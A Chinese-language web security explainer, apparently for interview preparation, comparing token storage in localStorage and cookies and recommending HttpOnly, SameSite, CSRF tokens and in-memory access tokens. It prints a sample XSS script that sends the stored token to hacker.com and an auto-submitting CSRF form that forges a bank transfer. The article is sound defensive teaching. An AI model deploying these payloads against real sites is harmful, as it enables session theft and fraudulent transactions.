
在前端开发中,Token 的存储位置一直是一个备受争议的话题。主要有两种选择:
面试中常问的问题是:“LocalStorage 容易受到 XSS 攻击,Cookie 容易受到 CSRF 攻击,那么到底应该如何安全地存储 Token?”
将 Token 存储在 localStorage 是常见的做法,因为使用简单。
// 存
localStorage.setItem('token', 'eyJhbGciOiJIUz...');
// 取
const token = localStorage.getItem('token');
fetch('/api/data', {
headers: { Authorization: `Bearer ${token}` }
});
然而,localStorage 的设计允许 JavaScript 代码完全访问。这意味着,如果网站存在 XSS(跨站脚本攻击)漏洞,攻击者可以通过注入恶意脚本直接读取 Token。
XSS 攻击示例:如果页面未对用户输入进行过滤,攻击者可能注入以下脚本:
<script>
// 攻击者脚本
fetch('http://hacker.com/steal?cookie=' + localStorage.getItem('token'));
</script>
只要用户访问了包含恶意脚本的页面,Token 就会被发送到攻击者的服务器。由于 JS 对 LocalStorage 拥有完全读写权限,且没有类似于 Cookie 的访问控制机制,因此这种存储方式在 XSS 面前非常脆弱。
很多人认为 Cookie 不安全,这通常是因为配置不当。 Cookie 有一个关键的安全属性:HttpOnly。
当 Cookie 设置了 HttpOnly 属性后:
document.cookie 无法获取该 Cookie。后端设置 HttpOnly Cookie (Go 示例):
http.SetCookie(w, &http.Cookie{
Name: "access_token",
Value: "eyJhbGciOiJIUz...",
HttpOnly: true, // 禁止 JavaScript 读取
Secure: true, // 仅通过 HTTPS 传输
Path: "/",
})
在这种配置下,即使网站存在 XSS 漏洞,攻击者的脚本也无法读取 Token。虽然攻击者可能通过脚本发起请求(因为浏览器会自动带上 Cookie),但他无法直接获取 Token 字符串,从而无法将其用于其他用途。
使用 HttpOnly Cookie 虽然防范了 XSS 读取 Token,但引入了 CSRF (跨站请求伪造) 风险。
CSRF 攻击原理:浏览器会自动在请求中携带 Cookie,无论该请求是由用户在当前网站发起的,还是由第三方恶意网站发起的。
场景模拟:
bank.com,Token 存储在 Cookie 中。hacker.com。<!-- 恶意网站上的代码 -->
<form action="http://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="hacker" />
<input type="hidden" name="amount" value="10000" />
</form>
<script>document.forms[0].submit();</script>
bank.com 发送请求时,会自动附带用户的 Cookie。bank.com 服务器接收到请求,验证 Cookie 有效,执行了转账操作。这就是 CSRF 攻击的核心:利用浏览器的自动携带 Cookie 机制,冒充用户发起请求。
为了同时防范 XSS 和 CSRF,可以采取以下组合方案。
方案一:Cookie (HttpOnly) + SameSite + CSRF Token
这是传统的防御方式。
// Go 设置 SameSite
http.SetCookie(w, &http.Cookie{
Name: "token",
Value: "...",
HttpOnly: true,
SameSite: http.SameSiteLaxMode, // 限制跨站发送
})
X-CSRF-Token)。由于 CSRF 攻击无法构造自定义 Header(受同源策略限制),这提供了额外的保护。方案二:Refresh Token (Cookie) + Access Token (内存)
这是现代单页应用(SPA)推荐的方案:
工作流程:
refresh_token 到 HttpOnly Cookie。access_token 在 JSON 响应体中。access_token 保存在变量中。access_token 设置 Authorization Header。access_token 过期或页面刷新(导致内存变量丢失)时,前端调用 /refresh 接口。refresh_token。access_token。方案优势:
refresh_token 无法被 JS 读取(HttpOnly)。access_token 虽然在内存中可能被读取,但其生命周期短,且攻击者必须在当前页面会话中才能获取。access_token 通过 Authorization Header 发送,浏览器不会自动携带,天然免疫 CSRF。存储方式 | XSS 风险 | CSRF 风险 | 推荐程度 | 适用场景 |
|---|---|---|---|---|
LocalStorage | 高 (直接读取) | 无 (需手动发送) | 低 | 非敏感数据 |
普通 Cookie | 高 (可被读取) | 有 (自动发送) | 不推荐 | 无 |
HttpOnly Cookie | 低 (不可读取) | 有 (自动发送) | 中 | 服务端渲染 (SSR) |
HttpOnly Cookie + SameSite | 低 | 低 | 高 | 大部分 Web 应用 |
内存(Access) + Cookie(Refresh) | 最低 | 最低 | 极高 | 前后端分离应用 |
在回答此问题时,应重点阐述以下观点:
HttpOnly 防止 XSS,通过 SameSite 和 CSRF Token 防止 CSRF。